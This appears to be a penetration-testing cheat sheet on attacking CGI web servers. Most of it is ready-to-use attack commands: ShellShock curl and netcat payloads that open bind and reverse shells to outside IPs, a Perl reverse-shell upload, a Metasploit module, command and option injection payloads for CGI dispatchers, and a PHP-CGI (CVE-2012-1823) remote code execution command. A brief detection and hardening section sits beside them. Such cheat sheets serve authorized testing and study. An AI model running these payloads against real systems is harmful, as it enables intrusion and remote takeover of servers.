CGI Pentesting

Information

The CGI scripts are perl scripts, so, if you have compromised a server that can execute .cgi scripts you can upload a perl reverse shell `/usr/share/webshells/perl/perl-reverse-shell.pl`, change the extension from .pl to .cgi, give execute permissions `chmod +x` and access the reverse shell from the web browser to execute it.
In order to test for CGI vulns it's recommended to use nikto -C all and all the plugins

ShellShock

ShellShock is a vulnerability that affects the widely used Bash command-line shell in Unix-based operating systems. It targets the ability of Bash to run commands passed by applications. The vulnerability lies in the manipulation of environment variables, which are dynamic named values that impact how processes run on a computer. Attackers can exploit this by attaching malicious code to environment variables, which is executed upon receiving the variable. This allows attackers to potentially compromise the system.

Exploiting this vulnerability the page could throw an error.

You could find this vulnerability noticing that it is using an old Apache version and cgi_mod with cgi folder or using nikto.

Test

Most tests are based in echo something and expect that that string is returned in the web response. If you think a page may be vulnerable, search for all the cgi pages and test them.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflected, blind and out-of-band)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Centralized CGI dispatchers (single endpoint routing via selector parameters)

Many embedded web UIs multiplex dozens of privileged actions behind a single CGI endpoint (for example, /cgi-bin/cstecgi.cgi) and use a selector parameter such as topicurl=<handler> to route the request to an internal function.

Methodology to exploit these routers:

Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
Test unauthenticated reachability: some handlers forget auth checks and are directly callable.
Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen -.

Generic exploit shapes:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n

# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc

Detection and hardening:

Watch for unauthenticated requests to centralized CGI endpoints with topicurl set to sensitive handlers.
Flag parameters that begin with - (argv option injection attempts).
Vendors: enforce authentication on all state-changing handlers, validate using strict allowlists/types/lengths, and never pass user-controlled strings as command-line flags.

Old PHP + CGI = RCE `CVE-2012-1823, CVE-2012-2311`

Basically if cgi is active and php is "old" <5.3.12 / < 5.4.2 you can execute code.
In order t exploit this vulnerability you need to access some PHP file of the web server without sending parameters specially without sending the character "=".
Then, in order to test this vulnerability, you could access for example /index.php?-s note the `-s` and source code of the application will appear in the response.

Then, in order to obtain RCE you can send this special query: /?-d allow_url_include=1 -d auto_prepend_file=php://input and the PHP code to be executed in the body of the request.
Example:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

More info about the vuln and possible exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Proxy (MitM to Web server requests)

CGI creates a environment variable for each header in the http request. For example: "host:web.com" is created as "HTTP_HOST"="web.com"

As the HTTP_PROXY variable could be used by the web server. Try to send a header containing: "Proxy: <IP_attacker>:<PORT>" and if the server performs any request during the session. You will be able to capture each request made by the server.

References

Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered

6.4 KiB Raw Blame History Unescape Escape